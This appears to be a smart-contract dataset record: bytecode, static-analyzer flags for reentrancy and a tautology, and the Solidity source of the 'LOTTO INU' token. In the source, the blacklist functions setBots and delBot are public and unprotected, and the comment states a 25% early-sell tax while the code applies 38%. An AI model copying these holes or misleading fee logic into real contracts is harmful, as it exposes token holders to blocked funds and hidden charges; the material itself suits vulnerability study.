01b0383811691161461111957601754816110b6846107fc565b6110c09190611dbe565b106111195760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610629565b6000611124306107fc565b60185460165491925082101590821061113d5760165491505b8080156111545750601554600160a81b900460ff16155b801561116e57506015546001600160a01b03868116911614155b80156111835750601554600160b01b900460ff165b80156111a857506001600160a01b03851660009081526005602052604090205460ff16155b80156111cd57506001600160a01b03841660009081526005602052604090205460ff16155b156111ed576111db826113ef565b4780156111eb576111eb47611331565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061123257506001600160a01b03831660009081526005602052604090205460ff165b8061126457506015546001600160a01b0385811691161480159061126457506015546001600160a01b03848116911614155b15611271575060006112eb565b6015546001600160a01b03858116911614801561129c57506014546001600160a01b03848116911614155b156112ae57600854600c55600954600d555b6015546001600160a01b0384811691161480156112d957506014546001600160a01b03858116911614155b156112eb57600a54600c55600b54600d555b610b7884848484611578565b6000818484111561131b5760405162461bcd60e51b81526004016106299190611b30565b5060006113288486611dd6565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069a573d6000803e3d6000fd5b60006006548211156113d25760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610629565b60006113dc6115a6565b90506113e883826115c9565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061143757611437611d77565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561148b57600080fd5b505afa15801561149f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c39190611ded565b816001815181106114d6576114d6611d77565b6001600160a01b0392831660209182029290920101526014546114fc9130911684610c97565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611535908590600090869030904290600401611e0a565b600060405180830381600087803b15801561154f57600080fd5b505af1158015611563573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806115855761158561160b565b611590848484611639565b80610b7857610b78600e54600c55600f54600d55565b60008060006115b3611730565b90925090506115c282826115c9565b9250505090565b60006113e883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611772565b600c5415801561161b5750600d54155b1561162257565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061164b876117a0565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061167d90876117fd565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116ac908661183f565b6001600160a01b0389166000908152600260205260409020556116ce8161189e565b6116d884836118e8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161171d91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061174c82826115c9565b82101561176957505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836117935760405162461bcd60e51b81526004016106299190611b30565b5060006113288486611e7b565b60008060008060008060008060006117bd8a600c54600d5461190c565b92509250925060006117cd6115a6565b905060008060006117e08e878787611961565b919e509c509a509598509396509194505050505091939550919395565b60006113e883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112f7565b60008061184c8385611dbe565b9050838110156113e85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610629565b60006118a86115a6565b905060006118b683836119b1565b306000908152600260205260409020549091506118d3908261183f565b30600090815260026020526040902055505050565b6006546118f590836117fd565b600655600754611905908261183f565b6007555050565b6000808080611926606461192089896119b1565b906115c9565b9050600061193960646119208a896119b1565b905060006119518261194b8b866117fd565b906117fd565b9992985090965090945050505050565b600080808061197088866119b1565b9050600061197e88876119b1565b9050600061198c88886119b1565b9050600061199e8261194b86866117fd565b939b939a50919850919650505050505050565b6000826119c0575060006106af565b60006119cc8385611e9d565b9050826119d98583611e7b565b146113e85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610629565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f957600080fd5b8035611a6681611a46565b919050565b60006020808385031215611a7e57600080fd5b823567ffffffffffffffff80821115611a9657600080fd5b818501915085601f830112611aaa57600080fd5b813581811115611abc57611abc611a30565b8060051b604051601f19603f83011681018181108582111715611ae157611ae1611a30565b604052918252848201925083810185019188831115611aff57600080fd5b938501935b82851015611b2457611b1585611a5b565b84529385019392850192611b04565b98975050505050505050565b600060208083528351808285015260005b81811015611b5d57858101830151858201604001528201611b41565b81811115611b6f576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611b9857600080fd5b8235611ba381611a46565b946020939093013593505050565b600080600060608486031215611bc657600080fd5b8335611bd181611a46565b92506020840135611be181611a46565b929592945050506040919091013590565b600060208284031215611c0457600080fd5b81356113e881611a46565b80358015158114611a6657600080fd5b600060208284031215611c3157600080fd5b6113e882611c0f565b600060208284031215611c4c57600080fd5b5035919050565b60008060008060808587031215611c6957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611c9a57600080fd5b833567ffffffffffffffff80821115611cb257600080fd5b818601915086601f830112611cc657600080fd5b813581811115611cd557600080fd5b8760208260051b8501011115611cea57600080fd5b602092830195509350611d009186019050611c0f565b90509250925092565b60008060408385031215611d1c57600080fd5b8235611d2781611a46565b91506020830135611d3781611a46565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611db757611db7611d8d565b5060010190565b60008219821115611dd157611dd1611d8d565b500190565b600082821015611de857611de8611d8d565b500390565b600060208284031215611dff57600080fd5b81516113e881611a46565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e5a5784516001600160a01b031683529383019391830191600101611e35565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e9857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611eb757611eb7611d8d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c5efa2d4ffe8a2a323f6de00ecaef4f1a470738b625b665f325f6346ca51643864736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
7,330
0x97169900adfaa1b8ef1916a4a3b2a63cb5ebba21
/** */ //SPDX-License-Identifier: Unlicensed // Website: https://lottoinu.com/ // Tg: https://t.me/LottoINU pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract LOTTOINU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 200000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "LOTTO INU"; string private constant _symbol = "LOTTOINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _maxTxAmount = 4000 * 10 ** 9; emit Transfer(address(_msgSender()), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function originalPurchase(address account) public view returns (uint256) { return _buyMap[account]; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() { _maxTxAmount = maxTransactionAmount; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!_isBuy(from)) { // TAX SELLERS 25% WHO SELL WITHIN 4 HOURS if (_buyMap[from] != 0 && (_buyMap[from] + (4 hours) >= block.timestamp)) { _feeAddr1 = 10; _feeAddr2 = 28; } else { _feeAddr1 = 10; _feeAddr2 = 10; } } else { if (_buyMap[to] == 0) { _buyMap[to] = block.timestamp; } _feeAddr1 = 10; _feeAddr2 = 10; } if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function createPair() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); } function addLiquidity() public onlyOwner{ uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function enableTrading() external onlyOwner{ tradingOpen = true; } function setBots(address[] memory bots_) public { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = _rTotal; } function delBot(address notbot) public { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function updateMaxTx (uint256 fee) public onlyOwner { _maxTxAmount = fee; } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101445760003560e01c80638da5cb5b116100b6578063c2d0ffca1161006f578063c2d0ffca1461041b578063c3c8cd8014610444578063cc653b441461045b578063dd62ed3e14610498578063e8078d94146104d5578063ff872602146104ec5761014b565b80638da5cb5b1461031f57806395d89b411461034a5780639e78fb4f14610375578063a9059cbb1461038c578063b515566a146103c9578063bc337182146103f25761014b565b8063313ce56711610108578063313ce567146102495780635932ead1146102745780636fc3eaec1461029d57806370a08231146102b4578063715018a6146102f15780638a8c523c146103085761014b565b806306fdde0314610150578063095ea7b31461017b57806318160ddd146101b857806323b872dd146101e3578063273123b7146102205761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610503565b60405161017291906127bb565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d9190612885565b610540565b6040516101af91906128e0565b60405180910390f35b3480156101c457600080fd5b506101cd61055e565b6040516101da919061290a565b60405180910390f35b3480156101ef57600080fd5b5061020a60048036038101906102059190612925565b61056c565b60405161021791906128e0565b60405180910390f35b34801561022c57600080fd5b5061024760048036038101906102429190612978565b610645565b005b34801561025557600080fd5b5061025e6106a0565b60405161026b91906129c1565b60405180910390f35b34801561028057600080fd5b5061029b60048036038101906102969190612a08565b6106a9565b005b3480156102a957600080fd5b506102b261075b565b005b3480156102c057600080fd5b506102db60048036038101906102d69190612978565b6107cd565b6040516102e8919061290a565b60405180910390f35b3480156102fd57600080fd5b5061030661081e565b005b34801561031457600080fd5b5061031d610971565b005b34801561032b57600080fd5b50610334610a23565b6040516103419190612a44565b60405180910390f35b34801561035657600080fd5b5061035f610a4c565b60405161036c91906127bb565b60405180910390f35b34801561038157600080fd5b5061038a610a89565b005b34801561039857600080fd5b506103b360048036038101906103ae9190612885565b610bfe565b6040516103c091906128e0565b60405180910390f35b3480156103d557600080fd5b506103f060048036038101906103eb9190612ba7565b610c1c565b005b3480156103fe57600080fd5b5061041960048036038101906104149190612bf0565b610cb1565b005b34801561042757600080fd5b50610442600480360381019061043d9190612bf0565b610d50565b005b34801561045057600080fd5b50610459610def565b005b34801561046757600080fd5b50610482600480360381019061047d9190612978565b610e69565b60405161048f919061290a565b60405180910390f35b3480156104a457600080fd5b506104bf60048036038101906104ba9190612c1d565b610eb2565b6040516104cc919061290a565b60405180910390f35b3480156104e157600080fd5b506104ea610f39565b005b3480156104f857600080fd5b50610501611383565b005b60606040518060400160405280600981526020017f4c4f54544f20494e550000000000000000000000000000000000000000000000815250905090565b600061055461054d611423565b848461142b565b6001905092915050565b600065b5e620f48000905090565b60006105798484846115f6565b61063a84610585611423565b6106358560405180606001604052806028815260200161368760289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105eb611423565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c649092919063ffffffff16565b61142b565b600190509392505050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106b1611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461073e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073590612ca9565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661079c611423565b73ffffffffffffffffffffffffffffffffffffffff16146107bc57600080fd5b60004790506107ca81611cc8565b50565b6000610817600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d34565b9050919050565b610826611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108aa90612ca9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610979611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a06576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109fd90612ca9565b60405180910390fd5b6001600f60146101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4c4f54544f494e55000000000000000000000000000000000000000000000000815250905090565b610a91611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1590612ca9565b60405180910390fd5b600f60149054906101000a900460ff1615610b6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6590612d15565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610bfb30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1665b5e620f4800061142b565b50565b6000610c12610c0b611423565b84846115f6565b6001905092915050565b60005b8151811015610cad57600160076000848481518110610c4157610c40612d35565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ca590612d93565b915050610c1f565b5050565b610cb9611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3d90612ca9565b60405180910390fd5b8060108190555050565b610d58611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddc90612ca9565b60405180910390fd5b8060108190555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e30611423565b73ffffffffffffffffffffffffffffffffffffffff1614610e5057600080fd5b6000610e5b306107cd565b9050610e6681611da2565b50565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f41611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc590612ca9565b60405180910390fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561103b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061105f9190612df1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110c9190612df1565b6040518363ffffffff1660e01b8152600401611129929190612e1e565b6020604051808303816000875af1158015611148573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116c9190612df1565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111f5306107cd565b600080611200610a23565b426040518863ffffffff1660e01b815260040161122296959493929190612e8c565b60606040518083038185885af1158015611240573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112659190612f02565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161133d929190612f55565b6020604051808303816000875af115801561135c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113809190612f93565b50565b61138b611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611418576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140f90612ca9565b60405180910390fd5b600954601081905550565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561149b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149290613032565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561150b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611502906130c4565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115e9919061290a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d90613156565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd906131e8565b60405180910390fd5b60008111611719576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117109061327a565b60405180910390fd5b6117228361201b565b6117f2576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141580156117c2575042613840600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117bf919061329a565b10155b156117dc57600a600b81905550601c600c819055506117ed565b600a600b81905550600a600c819055505b611890565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561187f5742600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600a600b81905550600a600c819055505b611898610a23565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561190657506118d6610a23565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c5457600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119af5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119b857600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a635750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ab95750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ad15750600f60179054906101000a900460ff165b15611b9a57600f60149054906101000a900460ff16611aef57600080fd5b601054811115611afe57600080fd5b42600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611b4957600080fd5b601e42611b56919061329a565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ba5306107cd565b9050600f60159054906101000a900460ff16158015611c125750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473fffffffffffffffffffffffff